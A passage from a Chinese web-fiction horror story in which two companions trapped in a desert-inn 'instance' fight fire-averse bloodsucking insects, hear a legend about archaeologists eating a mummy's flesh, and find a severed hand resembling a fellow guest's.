“你能不能关注关注重点?”楚明铮训斥。 “好的。”齐栩哪儿敢回嘴。 他俩又看着那只断手在地上表演了一刻钟的手势舞,齐栩觉得这么瞪着眼睛站下去也不是办法,于是又试图询问楚明铮。 “师父,那你觉得现在重点是什么?” 楚明铮凝神思索:“重点是,这是谁的手。” “那你得出答案了吗?”齐栩期待道。 “没有。”楚明铮干脆利落。 “嗯。”齐栩站起身提议:“那我把它扔出去,咱睡觉吧。” 楚明铮困的要命,示意他自己看着办。 于是齐栩从房间的角落里抄起一把土铲,将那只恶心的断手一把铲起来,抛到空中,对准打开的窗户,倏然一挥,像打高尔夫一样,优雅凌厉的用铲子把那只断手拍飞出去了。 空中哗啦啦掉下来一地的黑色吸血虫,在地板上乱爬。 “啊呀!”楚明铮从地上跳起来怒道:“你也不说做干净点,这一地虫子怎么睡觉?” 黑色吸血虫爬的极快,很快沿着地板扑腾过来,眼看着就要往楚明铮裤腿上爬,楚明铮动作敏捷,抱着小鬼婴跳上了一旁的茶几。 齐栩拎着铲子回来,眼疾手快,迅速碾死了最近的几只黑色血虫。 空气里蔓延出一股仿佛被烧焦了似的味道,那味道越来越浓烈,从地面一路上窜到天花板。 齐栩和楚明铮看了看天花板,又看了看地上的黑色吸血虫尸体,两人彼此都觉得有点心慌,事情好像还远远没结束。 “沙沙……” “沙沙……” 窗外传来细碎的摩擦声,跟风声搅和在一起,让人听不真切,楚明铮低头熄了油灯,在黑暗中静听了几秒,下一个瞬间他即刻反应过来,一个猛扑,按着齐栩就从窗户口矮下了身形。 黑色的血吸虫们扑扇着翅膀,犹如一整群墨色龙卷风,山呼海啸从窗口裹挟着冲飞进来! 像一群无头苍蝇,嗡嗡嗡嗡的鸣叫着在屋中盘旋片刻,仿佛是在寻找方位。 楚明铮抓住这个空档,一脚踹开门板,带着齐栩狂奔而出。 乌泱乌泱的血吸虫们刹那间找准方向,紧随其后! 楚明铮和齐栩抢步下楼,环顾四周也没有个方便躲闪的地方,楚明铮心一横,单手拿钳子,夹起火炉里烧的通红的烙铁,对准空中虫群一扬而下,只见黑压压的虫群如同被肢解一般散开。 被火燎着的虫群组成部分,稀里哗啦的死了一大堆,尸体统统砸在地面上。 “他们怕火!”楚明铮转头道。 “你拿铲子往火上烤热再铲它们!” 齐栩不需要他吩咐第二遍,抄起铲子在炉火上两面翻页似的翻烤,直到铁铲边缘稍微一碰周边物件,就发出“嘶啦……”一声,显然温度已经升到极高了。 齐栩握着铁铲到处在空中拍打,大半的虫群被他烤的焦黑,空气中居然隐约泛出肉香。 “不行,它们越聚越多了,同伴的尸体好像只能吸引他们聚集。”楚明铮急促道:“得想个办法,让这些虫子死的时候不要散发出味道,最好咽气的第一秒肉身就灰飞烟灭。” 齐栩苦笑一声:“师父,你拍玄幻电视剧呢,还灰飞烟灭?” 楚明铮大怒:“肯定有办法!总不能真被虫咬死在这里吧。” 就在这时,二楼其他房门也传出声响来。 事实上,他俩方才从搬床,到在楼上叮铃哐啷,再到被黑色血吸虫袭击狂奔下楼,一整套动静早就把客栈里的其他人都吵醒了,只是先前众人都本着他人死活与我无关的态度,就都没有出来查看。 直到此时眼看着战火烧到楼下毡房,众人唯一能烤火的地方,他们这才纷纷坐不住了。 李裴山打开房门往下看了一眼,沉着脸回房间取了火枪出来,站在二楼居高临下对齐栩和楚明铮吩咐一声:“闪开。” 楚明铮看着那黑洞洞的火枪口,脸色一变,连忙将齐栩护着一并靠墙躲开。 只听“砰!”“砰!”两声震耳欲聋枪声作响,子弹的冲击力和高速飞行时所波动加热的气浪瞬间冲破残余的虫群,无数飞虫在子弹气浪席卷到几厘米开外的那一刻,就被极致的高温烤糊变成碎渣了。 更别提那些直接身处子弹径口范围之内的聚集虫群,那更是集体打包物理意义上的灰飞烟灭。 虫群噼里啪啦彻底死的差不多了,只有零星几个还在空中挣扎着扑动翅膀,试图给沙漠里的其他同伴传递信号。 李裴山收回火枪,轻轻一吹枪口的袅袅黑烟,语气冷峻的指挥齐栩和楚明铮:“去关门关窗,全屋检查缝隙,把所有可能钻进来虫的地方堵好。” “你们俩。”他转头对隔壁那两个只敢颤巍巍伸出两个脑袋的年轻情侣道:“别闲着,去帮忙。” 江寻和燕欢赶忙诺诺应声,手拉着手下楼给楚明铮和齐栩帮忙。 按道理来说,无论是楚明铮还是齐栩,在平时日常生活中都是绝对不可能被旁人使唤着做活的类型,他们不使唤别人就不错了。 奈何李裴山手中的火枪太有用了,几分钟前实实在在的救了两人一命。 于是他俩谁都没说话,跟燕欢江寻一起,把目之所及能找到的空口缝隙全都补好了,又过了好一会儿,四人才停歇下来。 地板上大片大片黑色血吸虫的尸体都被楚明铮用扫把和簸箕铲起来,扔进炉火里当燃料了。 屋中恢复了一片寂静。 经过这么一闹,今晚谁都睡不着了,于是五个人围坐在炉火旁边,大眼瞪小眼。 李裴山抱着他的隐隐发烫的火枪,声音沙哑的开口问齐栩:“你俩是怎么碰到那些鬼虫子的?” 齐栩言简意赅的将今晚的遭遇讲了一遍,听到鬼手挠床那一段是,李裴山的眉心微微一紧,嘴里喃喃道:“你是说,一只会动的死人鬼手吗……” “是的,它会动,但是具体是死人的手还是活人的手不好下定论。”齐栩接话。 “为什么这么讲?”李裴山盯着火炉出神着问。 “活人也有截肢的啊。”齐栩解释:“截肢以后,那手的控制权又不在你,手本身没了人体的供血和供氧,自然也会变成跟死人手外观一样的青白色。” “放置荒野,不出几天也会腐烂,生虫,就像今天这个一样,所以没办法判定它属于活人还是死人。” “只能是死人。”李裴山声音沉沉的说。 齐栩安静了一秒,平静反问:“为什么这么笃定?” 李裴山说话时的眼珠子转的很慢,带着机械而麻木的颗粒感,眼神的变化仿佛在逐帧放映一般。 “因为这个沙漠,只有我们几个……是活人。”他张了张嘴,古怪而阴冷的说出了这句话。 第59章 沙漠,干尸(三) 李裴山 齐栩听了这话安静数秒,隔了好半晌也没有接此话茬的意思,他自顾自低下头,轻轻拍着小鬼婴的襁褓,神情安然而平和。 李裴山盯着他手上的动作,神情阴沉,火炉旁一圈人皆是一言不发,似乎都被方才两人对话中所蕴含的信息量震慑到了。 齐栩很耐心的安抚的小鬼婴,直到小鬼婴彻底伏在胸口睡熟了,他才抬头温言道:“晚上讲鬼故事,孩子会被吓到的,李大哥见谅。” 楚明铮忍不住瞥了他一眼,心道你儿子还能被鬼故事吓到? 他自己就是个鬼好不好! 燕欢坐在火炉旁,脸颊被炉火烤的热乎乎的,她的胆子似乎也比前半夜大了一点,细声细气道:“你们说的那个会动的死人手,会不会跟老板娘说的美人骨血有关系?” 屋里人又再次因为这句话而陷入了沉默。 楚明铮在底下捏了一下齐栩的手臂,以作提示。 看起来在这个屋子里,只有他们两人不知道美人骨肉的具体含义,其他几人或多或少都知道一点。 沙漠,残肢,鬼虫,美人骨肉,局限而诡异的小屋,还有这一屋子奇怪的人。 一系列线索拼凑到一起,完全让人摸不着头脑。 二楼的房门开了,宋楚秀披着件单薄的纱衣从中走了出来,嗓音温柔道:“姑娘,美人骨血可不长这样。” 楚明铮精神一振,心道她终于来讲关键线索了! “美人骨血是几千年前,在沙漠地带死亡的一具女子干尸,在沙漠底下埋了数千年,以致晾干水分,将内脏和皮肉一起风化,变成木乃伊,近些年才被人找到。” 宋楚秀的语调柔和,仿佛浸透润泽,随着火炉里光芒跳动的频率,讲述节奏缓慢,温婉好听到了极点。 “挖掘到这具干尸的考古队,当时找到这具尸体准备从沙漠撤离时,刚好碰到了百年不遇的巨型沙尘暴,他们带着女尸连滚带爬的逃命,最后沙尘暴离开,他们虽然活下来了,但是却被困在沙漠腹地里。” “没有食物,没有夜间御寒的衣服,只有几升的瓶装水,是考古队队长拿命护下的。” “考古队员们饥寒交迫,最后不知道是谁提议,说可以将那具干尸上的肉挖下来吃几口充饥,也许能活着等到救援。” 齐栩听到这里,难以忍受的皱了一下眉心,大概是在想如果被困沙漠腹地的人是他的话,他宁可饿死也不吃干尸的肉。 宋楚秀环顾了一眼众人,见他们脸上都不约而同的流露出了一点嫌弃,不由的笑了笑,很好脾气的解释道:“生死关头,他们顾不了那么多也是正常的。” “风化了几千年的干尸肉吃起来就像肉干一样,需要含在嘴里很久很久,才能咽下去一点。” 楚明铮忽然打断她:“老板娘,你描述的这么详细,怎么听起来倒像是吃过一样?” 宋楚秀嫣然一笑:“我可没有,但是我倒是想呢,没有人不想吃一口美人骨血……你们听我讲下去,就知道了。” “于是这群考古队员在被困的日子里,靠着每人几口干尸上的尸肉,每人几口水,一直挺到了救援队的到来,救援将他们一行人和那具西域女尸,一起运回了研究所。” 宋楚秀的眼睛微微睁大,仿佛在说一个不可思议的神话:“后来……科学无法解释的奇迹出现了。” “那群吃过干尸肉身的考古队员,好像神灵附体一般,体检发现他们的身体一点变故都没出现,而且队伍里有几个本来就得了绝症,把这趟沙漠之旅当做毕生研究终点的老教授,他们在吃了那个干尸肉后,居然集体痊愈了,一直活了很多很多年……” 宋楚秀满眼兴奋和欣慰,仿佛亲身经历了那个时代。 “更妙的是,队伍里有个二十来岁的随行女研究生,在吃了西域女尸的肉以后,从此她的容颜一直没有变过,一直到老,都是二十来岁的年轻模样!” 宋楚秀环顾四周,眼睛亮晶晶的道:“你们说,神不神奇?” 火炉旁的人们依旧很沉默。 只有齐栩很捧场的“啪啪啪”开始拍手:“神奇,太神奇了!” 他夸完以后话锋一转:“不过宋姑娘,你跟这个考古队,是什么关系?” 宋楚秀遗憾道:“没有关系,我也是后来听别人讲的这些故事。” “那你怎么就能相信,这些故事是真的呢?”齐栩耐心的继续问道。 “当然是因为后来……”宋楚秀的声音逐渐低了下去,刚巧窗户口缝隙处风声响起,尖锐的风声盖过了她的声音,听起来就好像是她后半截话淹没在了风声里似的。 “那具西域女尸,从研究所里失窃了。” 楚明铮和齐栩同时一怔,失窃了? “考古队员因为吃了干尸肉而受益良多的事情终究纸包不住火,被人传了出去。”宋楚秀沮丧道。 “那个年代的监控系统不发达,有人将西域女尸连夜从研究所里盗出,四处辗转,最后不知所踪。” “后来西域美人的尸肉能治百病,容颜不老的事情彻底传开,无数人都对这具尸身趋之若鹜,花重金求购者,悬赏偷尸盗贼者……层出不穷,可是再也没人再见过那具美人尸骨了。” 宋楚秀的讲述散落在沙漠小屋暖乎乎的炉火里,她的神情平静而肃穆,整个人立在二楼,说不出的端庄。 李裴山似乎是累了,他变换了一下姿势,将火枪搂的更紧了点,靠在沙发上阖目休息。 那对青年男女不安的抱作一团,这时候才终于体现出一点属于情侣的亲密。 宋楚秀将几人扫视一眼,继续开口幽然道:“不过前两个月,倒是有新的传闻又出现了。” “据说有人在最开始挖掘西域女尸的地方,曾经看到过她——也就是这片沙漠。” 炉火跳动在宋楚秀的眼眸里,泛起波澜不惊的光芒。 “他们说,西域女尸是有灵性的,这是她被人从沉睡的地下挖出来后,被人倒卖了大半个国家,直到辗转半个世纪以后,才凭借着一丝生前最后的执念,回到了家乡。” 她温婉的眨了眨眼睛,反问道:“诸位不正是听了最近的这个传闻才来的吗?” 李裴山睁开眼睛,无声无息的朝她望了一眼,没有反应。 宋楚秀也不害怕这个满脸凶相的男人,只柔声道:“你们都是为了找美人骨血,才会在沙漠的深夜里,齐聚我的客栈,无一例外。” 李裴山和那对青年男女都没有否认。 齐栩搂着小鬼婴,另一只手覆盖在楚明铮的手背上,有一搭没一搭的握着摩挲对方,半晌他温和的抬眼,回答宋楚秀。 “巧了,我们三个还真是单纯路过。” 宋楚秀捂着嘴忍俊不禁:“好吧,你说路过就路过。” 她说完这番话,转而将兴趣挪到了小鬼婴的身上。 “这是你的孩子吗?”宋楚秀好奇道。 “是啊。”齐栩毫不避讳的回答。 宋楚秀眼睛一转:“你刚才说‘我们三个’,你是跟你哥哥一起带着孩子出来找美人骨血了?” “是啊。”齐栩继续回答。 “你俩真是亲兄弟吗?”她笑盈盈的打量着在阴影里藏着半张脸的楚明铮,又将目光转回齐栩脸上,继续试探:“长得也不像啊。” 齐栩和颜悦色道:“当然不是亲兄弟,我只是称呼他为‘哥哥’而已,你可以把这个孩子,理解成我们俩共同的孩子。” 这话太过直白,连李裴山都忍不住睁开眼睛朝这边瞥来。 楚明铮脸色一变,伸手冷不防在齐栩腰侧拧了一下,简短的开口解释:“别听他胡说八道。” 宋楚秀扑哧的笑了起来,看了看楚明铮,又看了看齐栩,最后仍然将目光落回小鬼婴身上,意味深长道:“你怀里的孩子,应该不是活人吧,我听着……他怎么没心跳呢?” 此话一出,犹如石破天惊,江寻和燕欢一对小情侣瞬间起跳,从齐栩身侧不远处的位置躲闪开来。 李裴山眉心紧了紧,下意识将火枪从怀里取了出来,枪口朝下,隐隐对着齐栩的那个方向。 一夜断手残肢鬼虫子侵袭,现在这屋子里的人无一不风声鹤唳,对任何与鬼怪,死人相关的字眼都格外惊恐,随时准备着绞杀一切危险。 楚明铮倏然握紧了齐栩的掌心,起身就要对抗。 齐栩轻轻一翻掌,将他按了回去,顺势起身用身形挡住了楚明铮,将他与李裴山的枪口隔绝开了。 “没心跳就是鬼吗?”齐栩抱着孩子心平气和的问。 宋楚秀反问:“没心跳,怎么能是活人呢?” 齐栩伤感的笑了一下:“其实不是没心跳,这孩子刚出生的时候,就落下的这个心脏的毛病,时不时心脏就会停跳数秒,好几次差点没救过来。” “我们这些年带着他一路寻医问药,都一无所获。” 宋楚秀怔住了,看向齐栩的眼光也多了几分犹疑。 “我们来到这个沙漠,当然不是路过,我们也想祈求最后一丝希望,如果这传说中的美人血肉真的能救孩子。”齐栩眼中含泪,低头深情注视着小鬼婴。 “那也不枉我们来沙漠走这一遭。” 李裴山的枪口迟疑着垂落下来,齐栩对着宋楚秀讲完这番话,又诚恳的去看李裴山,怀里抱着小鬼婴,作势要递给他。 “他有心跳的,李大哥,尽管很微弱,但是我相信只要我们不放弃,孩子一定能有重归建康的那一天。”齐栩声音坚定,语调里尚带哽咽,像个坚强而慈爱的老父亲。 楚明铮在一旁听的一愣一愣的:“……” 他现在怀疑齐栩的府邸里搞不好有一座被他藏起来的奥斯卡小金人。 他是影帝吗?! 宋楚秀显然被这番话打动了个十成十。 她快步从二楼下来,握住齐栩没抱孩子的那只手,热泪盈眶的激动道:“许先生,你放心,只要找到了美人骨血,您的孩子一定会有救的!” 齐栩回以同样热泪盈眶的一握:“谢谢您,老板娘,孩子一定会没事的!” 楚明铮深吸一口气,觉得他有点想出去转转了。 沙漠夜里的时间仿佛流淌的格外缓慢,一晚上折腾了这么多事,窗外天色居然还没有要亮起来的意思。 齐栩跟众人示意了一下,说要带着孩子上楼补觉,以此借口成功跟楚明铮溜回卧室,总算松懈下一口气来。 楚明铮动手把刚刚掀起来的床架重新放回地面,尽管床板底下彻底破了个大口,但是好在总体框架没散,晚上不乱动翻身的话也能睡人。 “天还没亮。”齐栩把小鬼婴放到一边,过来帮着楚明铮把床铺好,小声道:“你补会儿觉吧,我在床边站在,我不上去。” 楚明铮没那么矫情,上床一掀被子吩咐道:“行了上来吧,我没说不相信你,睡眠有利于脑子清醒,明天还有正事呢。” 齐栩的嘴角难以克制的上扬了一点弧度,又非常及时的把临到嘴边的微笑压抑回去了。 然后从善如流的翻身上床,十分克制的躺在了楚明铮身侧。 两人并排躺着沉默了一会儿,楚明铮开口:“那个老板娘今天说的信息,你怎么看?” 齐栩沉思了片刻,回答道:“副本可能是和考古队有点关系,但是我感觉具体关联不大。” “怎么说?”楚明铮问。 “你想啊,它就把我们框定在沙漠腹地中央,想出出不去,想进也进不来,所有情节和探索的范围仅限于这个小屋附近,那已知推理的范围也就跟着缩小了,副本要我们解决的怨气一定不是考古队本身。” “怨气本身所产生的地点,一定在这个小木屋里。” 楚明铮闭着眼睛点了点头:“嗯,你说的对。” 齐栩讶异的拧过脑袋,眼神明亮道:“师父,你夸我了。” 楚明铮没反驳这一点,仍然闭着眼睛道:“其实你长大以后……在正事方面一直挺靠谱的,只要不涉及我,不涉及你小时候在基地里记仇的那点事……别的都挺好的。” 齐栩哑然失笑:“可是我在乎你,你也不高兴吗?” “我不高兴。”楚明铮板着脸回答。 “嗯……好吧。”年轻人闷闷的把自己埋在被子道。 两人又安静了一阵,就在楚明铮以为自己快要睡着了的时候,齐栩又发出了新的动静。 “师父。” “你又怎么了?”楚明铮连发脾气的力气都没有了,睁开眼睛疲倦的问道。 “我刚刚跟老板娘讲小鬼婴心跳受损,心脉有缺陷的时候,你知道我想起了谁吗?”齐栩问他。 楚明铮连一丝磕绊都没打,直接报出名字:“楚小妙。” “嗯。”齐栩的声音哽了一下,仿佛鼓足了极大的勇气,开口问道:“她的心脉,你找到替换的人了吗?” “没有。”楚明铮回答的十分平静。 “那你打算怎么办?”齐栩瞪着头顶的天花板,感觉言语间一字一句都在往出挤似的。 “她问题不大。”楚明铮回答道:“只要吃药维持,加注意一点就行,这种症状小时候会比较明显,成年以后风险就没以前那么大了。” 齐栩徐徐从胸腔里吐出一口长气,他今天晚上的勇气已经用干净了,于是很吝啬的回了楚明铮一个“好”字。 卧室的空气冰冷而充斥着沙尘的干涩味道,黑压压的一片,伸手不见五指,什么都看不清楚,屋中气氛随着话音的落下而随之变得压抑。 齐栩开始后悔自己为什么要多说那一两句话,明明才跟楚明铮的关系拉近了一点,明明师父因为他处理唐虞非的事情,终于对自己放下一定戒心,连着几个晚上允许他睡在身侧,可他这么一说,现在又全都搞砸了。 齐栩变得很丧,他默不作声的叹了口气,翻身打算睡到床边去。 就在这时,楚明铮忽然伸出手,将他搁置在床中间的手臂轻轻一拍,轻声说了句:“对不起。” 齐栩:“?!” 齐栩几乎不敢相信自己的耳朵,他猛然翻过身,身下床板发出“嘎吱”一声危险的脆响。 他却完全没察觉到这些,支起上半个身体,神情堪称惊恐的盯着楚明铮:“师父,你说什么?” 楚明铮的反应远没有他这么激烈,甚至来说称得上平淡,但是说出的每一个字,都仿佛一颗子弹,砰砰砰的全力击中在齐栩心脏上。 “我在因为楚小妙的事,跟你说对不起。” “对不起啊,小时候曾经让你那么害怕。” …… 齐栩的眼眶缓慢的湿润了,他一时半会儿难以说出任何话。 副本里的夜色漫长而晦涩,屋外的大漠沉默的矗立着,风声幽怨,呜呜泣诉,仿佛是从数年前一路吹到今天的。 楚明铮握着他温热的手臂,缓和的对他低声道:“想开点了吗?” “想开了就往里睡一点,你睡那么边缘,我都怕你晚上掉下去。” 齐栩眼睛里的泪水终于忍不住夺眶而出,呜咽一声,骤然转身抱住楚明铮,大半个身体压在对方身上,险些没将楚明铮压的眼睛翻白,背过气去。 “你给我——下去!” ……后半夜总算安宁下来,转眼来到第二天清晨。 楚明铮就着门口的储水简单洗漱了一下,回身去喊齐栩起来,齐栩昨晚大概是情绪消耗过大,今天早晨难得的看起来有点萎靡。 不过他对上楚明铮视线的时候,神色就立刻清醒起来,笑眯眯的对他道:“早上好,师父。” “好好好……你赶紧洗漱。”楚明铮催促道。 “趁着那个女人还没把早餐端出来,先跟我出门一趟。” 齐栩一边洗漱一边含糊不清的问:“去哪儿?” 楚明铮一指窗外:“沙地。” “昨天那只断手,我觉得上边肯定还有线索,你应该没把它拍多远,我印象里也就飞出去十来米,出去找找,看有没有别的痕迹。” 齐栩点头如捣蒜:“好的。” “哦对,打火机带上,万一顺着断手找到那群鬼虫子的老巢了,还能顺手烧了。” 齐栩刚要掏打火机,忽然想到什么,摇头道:“师父,你白天找不到它们的老巢的。” 楚明铮疑惑:“为什么?” 齐栩指了指沙漠里刺眼且毫无遮挡的阳光,以及窗外一看就被晒的逐渐升温的沙地。 “它们既然那么怕火,又怎么会在白天炙烤的沙漠里出现呢?” 齐栩一边解释,一边还是把打火机抛给他了:“不过这样也有好处,起码我们找那只断手的时候,不用担心被血吸虫伏击了。” 楚明铮无言以对,此时是白天,白天的人总是不如夜晚感性的,他在晚上可以叹息着跟齐栩道歉,任由齐栩搂住他寻求安慰,并温声细语的将齐栩安抚回去。 在白天楚明铮却莫名其妙连一句夸奖的话都说不出口。 最后只好闭嘴,绷着嘴角跟他重重“嗯”了一声,算是同意这个说法。 齐栩忍着笑,俯身抱了小鬼婴,跟他一起翻窗到沙地里去了。 三个人循着昨天断手飞出去的方向一路走,白天的大漠跟夜里的景象有着天壤之别。 抬头时仿佛有大片大片昏黄的色块撞进眼帘,苍穹顶上天空蔚蓝如洗,周遭很寂静,甚至感受不到流风的吹拂。 仿佛一副壮阔的油画作品,无数单调而有着细微差别的沙丘脉络定格其中。 楚明铮在距离窗户十来米远的一个沙丘旁蹲下来了。 “你觉得是这里啊师父?”齐栩紧跟着在一旁蹲下,好奇的打量着地上沙地的纹路,试图找出楚明铮停在这里的缘由。 “我只是估算了一个大概距离。”楚明铮动手开始刨沙子。 “断手不是轻飘飘的沙粒,不会在夜里被风卷着吹走,顶多周围的沙子吹到了手上,把它埋起来了。” 齐栩赞同:“我也觉得就是这里,我昨天打出去的位置,差不多就是这么远。” 两人将小鬼婴放在沙地上,各自俯身刨了起来。 小鬼婴忽然感觉没人抱它了,于是睁开眼睛,吱哇乱叫的在沙地上乱爬起来,惨白的小手抓着沙子胡乱往空中扬。 那沙子在空中一飞,又受重力作用稀里哗啦打落下来,淋了楚明铮一头一脸。 “喂!”楚明铮恼火道:“你再玩那个沙子,我就挖个坑把你埋了,只露个头出来你信不信?” 小鬼婴显然不信,咯咯笑着又往他那边抓着扔了一把沙子。 楚明铮“嘶”的一声,拍着手上的沙粒,从沙地里站起身,大步走过去就要训这死孩子。 齐栩见势不妙,连忙伸长手臂将他气势汹汹的师父拦腰抱着拽回地上:“……师父,你多大个人了,你跟个孩子计较什么?” 楚明铮回身怒道:“你还敢跟我翻旧账!?” “不敢不敢。”齐栩陪笑:“这不是我小时候老挨你的打,长大了就不忍心他再挨打了么。” 楚明铮气笑了,俯身抓起一把沙子,拎起齐栩脖颈就往他领口塞。 齐栩忙不迭挣扎,还是被灌了一脖颈沙子,他嗷呜惨叫一声,坚硬而细密的沙粒顷刻间钻进领口,又跌落进更深的贴身衣物里。 “楚明铮,你怎么这样!”齐栩连名带姓的喊他,以示抗议。 楚明铮收拾完大的,回头收拾小的,他从沙地上犹如拔萝卜似的把小鬼婴提溜起来,不轻不重的在他屁股上甩了几巴掌。 “哎……师父,你轻点!”齐栩踉跄着从沙地里翻身坐起,眼睁睁的看着此人施展残暴行径,无可奈何道。 小鬼婴果然鬼哭狼嚎起来,哭声沿着连绵沙漠传的好远,越过数十个沙丘都能听到。 “你给我老实呆着,不然还得挨打,听明白了吗?”楚明铮指着他严肃道。 小鬼婴用一双黑漆漆的眼珠子盯着他,苍白的小嘴张合两下,仿佛哆哆嗦嗦着要吐出什么字句来。 楚明铮疑虑的瞅着这孩子,心说这鬼孩子不会真能学会人类的语言交流功能吧? 小鬼婴在无垠黄沙的注视下,终于说出了他此生的第一句人话。 “娘……” 楚明铮的眼睛不可思议的瞪大了,全身血液登时停止流动,四肢僵硬难以动弹,他的表情一寸一寸开裂,直到彻底难以维系。 “你喊我什么!?” 齐栩在一旁放声大笑起来,笑的前仰后合,险些站不稳。 “师父,他说你是他娘。” “滚!”楚明铮从脖颈红到了耳朵尖,怒道:“谁是你娘?不准乱叫!” “你就是他亲娘。”齐栩正色道:“你在上个副本剖开肚子生下了他,楚小妙和马飞仙都能作证,这可不能不认,孩子以后长大会伤心的。” 楚明铮回身用力将他一推,恶声恶气的找茬:“是不是你教他的?” 齐栩举手求饶,指天指地发誓:“我真没有,我就算教也教不了娘这个字啊,我私底下教的话肯定是教他对我的称呼,我我我总不可能教他叫我娘吧……” 楚明铮气到爆炸,却拿这一大一小无可奈何,只好恨恨的踹了一脚沙子,冷不丁就好像踩着了个什么软软的东西。 他神情一滞,迅速回过神来,示意齐栩过来看。 齐栩见他神情有异,当即收回了玩笑的神色,单手抱着小鬼婴,三步并作两步挪动过来,跟楚明铮一起看着沙地里那块凸出来的软物。 他小心翼翼的蹲下来,伸手拂开了最表面的那层沙粒,那只苍白冷硬的断手顷刻间展露了出来。 它仍然维持着那个掌心向上,无力松开的姿势,昨天晚上被齐栩用铲子打过的地方凹下去了一小块,看起来是手骨被打骨折了,今天在沙地里有气无力的蔫着,也难以再像昨天一样灵活的在空中抓挠了。 楚明铮的目光一寸一寸的从这只手上梭巡而过,从上到下,一遍又一遍。 “你觉不觉得……这个手的形状和特征有点熟悉?”楚明铮缓慢开口。 齐栩眨巴着眼睛,侧过头:“你说,看看咱俩猜想的一不一样。” “李裴山。”楚明铮低声将这个名字吐了出来。 齐栩幅度很轻的点了点头,表示认同。 “一切细节都能对得上。”楚明铮后退一步,指着手上的皮肤,分析前颇为谨慎的回头看了一眼四周,确定那可怕的枪口不在附近注视着他俩,这才继续道。 “食指指腹和中指侧面有很明显的枪茧,大拇指上有被火药灼烧过的痕迹……这些我昨天就注意到了。” “而且他肤色很白,白的还很有特点,说实话我怀疑他有点俄罗斯血统,加上他本人块头太大了,整只手的型号都比别人的大一轮,太好认了。”齐栩用同样低的音量补充道。 “所有的特点全都鲜明且一致,我甚至能完全排除是否有其他死者的可能性,就算来个跟李裴山一模一样大块头的死者,他也不可能连手上枪茧的位置都能完全跟李裴山重合。” 楚明铮单手背在身后,食指和大拇指无意识的摩挲着:“但是……李裴山自己的手还长在自己身上啊。” “这是怎么回事呢……” 齐栩和楚明铮面面相觑,心里都在做同一个分析。 李裴山有个一模一样大块头的双胞胎,并且两人一起练同一把火枪,在手上的同几个位置烧出了同样的黑痕,摩擦出了同样老茧,然后死掉并被人砍断了手扔在这儿的可能性有多大? 估计百分之零点一都不到。 楚明铮不信邪,将手伸到地上去想把那只断手抓起来,再翻过面来细看一番。 然而就在他的指尖碰到断手皮肤的前一刻—— 整只断手忽然就在原地毫无预兆的烟消云散了。 齐栩一把抓住他的手腕,不让他碰那断手躺过的沙地。 楚明铮看着空空如也的沙地,蹙眉细思:“我没碰到它,为什么消失了?” “这只刚刚出现的手,难道是个微型海市蜃楼?”齐栩松开他的手腕,信口胡扯道。 “胡说,你见过这么小的海市蜃楼?” “我开个玩笑。” 事情的发展越来越诡异了,一切都令人理不出来头绪。 “喂——”宋楚秀清亮的声音从客栈门口传来,十米远外她正拿着一块头纱模样的布料,朝齐栩和楚明铮两人招手,恰好此时起了点呼呼的热风,将那块鲜红漂亮的纱布倏然卷起,映衬出别样的风情。 “你们两位——快回来吃饭了哎——” 楚明铮抬头回了一声:“来了!” 然后对齐栩吩咐一声:“走吧,回去看看,李裴山有没有什么异样的反应。” 两人抱着小鬼婴,深一脚浅一脚的从沙地里跋涉回去了,这个点的沙漠已经被阳光烤的很热了,脚下的沙粒滚烫灼人,每朝前迈一步,都令人极其难受。 “师父,我感觉这个副本只能夜间行动,白天的温度得烫死人。”齐栩对他道。 “对,我也发现了。”楚明铮凝重道:“不然也没法解释,它夜里的时间给我们设置那么长。” “总得有个原因。” 等齐栩和楚明铮回到客栈,刚在毡房的餐桌前坐下,宋楚秀就端着两大碗面走了进来,“咣当”几声,放在了两人面前的桌上。 “他们都已经吃过了,就差你俩啦。”宋楚秀高高兴兴的道:“专门给你俩留的,肉干拌面。” 楚明铮一挑眉梢,目光落在碗中那几块漆黑墨色,但是被花刀割开过内里还泛着血丝的肉干上,他跟齐栩不约而同都没动筷子。 “怎么了?”宋楚秀讶异道:“怎么不吃?” 过了半秒,她好像意识到两人不动筷子的缘由了,当即忍不住笑出了声。 “喂,你们不会以为……碗里的肉,是美人骨血吧?” 楚明铮不动声色的用筷子挑了挑面,又放回去:“是有点像,不过如果有这种好东西,老板娘肯定会自己留着的吧。” “是啦,这是我自家晾的肉干,诺,剩下的还在房梁上挂着呢,你们要是还不放心,那我可就没辙啦。”宋楚秀爽朗的笑道。 齐栩拿着筷子,一脸牙疼的拨弄着碗里的面条,看起来浑身都写着抗拒。 他跟楚明铮进来的时候当然看到了屋顶房梁上的肉干,那肉干上铺满了经年风干的黄腊,四下飞舞着嗡嗡的不知名飞虫,时不时在肉干上叮一口,平时大漠风沙大,灰尘沙砾被穿堂风一卷,全往肉干上砸。 那玩意儿别说拌面了,齐栩实在是看一眼都胃疼。 宋楚秀十分期待的看着他俩。 楚明铮瞥了一眼齐栩,干咳一声:“宋姑娘。” “哎!”宋楚秀眉开眼笑,对于楚明铮喊她“姑娘”的这件事十分高兴。 楚明铮大脑飞快转动,想着如何把这碗面糊弄过去。 就在这时,身后传来一阵沉重的脚步声。 李裴山拖着那杆泛着黄铜色的火枪,缓步走到了两人身后。 冰冷的枪身几乎贴着楚明铮的脊背,翻出丝丝凉意,楚明铮能闻到枪管里昨晚那熟悉的火药气息。 “怎么?他们不肯吃吗?”李裴山阴沉沉的说。 第60章 沙漠,干尸(四) 门缝里露出一双狰狞…… “看样子是不肯呢。”宋楚秀温言道。 李裴山环抱火枪,又朝楚明铮逼近了几步,用枪管戳了戳楚明铮的后背,简短吩咐道:“吃。” 一阵漫长而难堪的沉默。 冰冷的枪管硌着楚明铮清瘦而坚硬的背脊骨,李裴山见他不说话,于是将枪杆压的更低,一寸一寸,枪口缓缓向下,逼近了楚明铮。 楚明铮维持着那个靠坐原地的姿势,神情中不见分毫胆怯,他连头也没回,垂眸看着碗中面坨,轻声问道:“你在命令我吗?” “是的。”李裴山粗声道。 “我这辈子最讨厌别人命令我了。”楚明铮坐在椅子上,语气毫无起伏的道。 说时迟那时快,他仰身出手,向后勾住大半枪管,五指一紧,向上一抬,猛然爆发出极强的力道,硬生生逼着李裴山将枪口抬高,直指天花板! 李裴山显然没想到这人敢赤手空拳突然发难,惊怒之下本就握在扳指处的手指一个哆嗦,下一秒擦枪走火,只听惊天动地一声枪响,毡房顶上霍然被子弹打穿一个大洞。 宋楚秀尖声尖气的大叫起来,抱头蹲下靠在饭桌下瑟瑟发抖。 空气里飘摇起难闻的灼烧气息。 